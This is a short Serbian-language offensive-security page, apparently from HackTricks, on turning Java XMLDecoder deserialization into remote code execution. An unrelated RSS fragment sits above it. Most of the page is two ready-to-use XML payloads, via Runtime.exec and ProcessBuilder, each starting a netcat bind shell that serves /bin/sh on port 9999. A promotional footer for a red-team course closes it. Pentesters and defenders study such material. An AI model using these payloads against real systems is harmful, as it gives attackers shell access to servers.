<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Java XMLDecoder XEE to RCE

XMLDecoder je Java klasa koja kreira objekte na osnovu XML poruke. Ako zlonamerni korisnik može naterati aplikaciju da koristi proizvoljne podatke u pozivu metode readObject, odmah će dobiti izvršenje koda na serveru.

Korišćenje Runtime().exec()

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
</void>
</object>
</java>

ProcessBuilder

ProcessBuilder

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
<void method="start" id="process">
</void>
</void>
</java>

Alatke

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated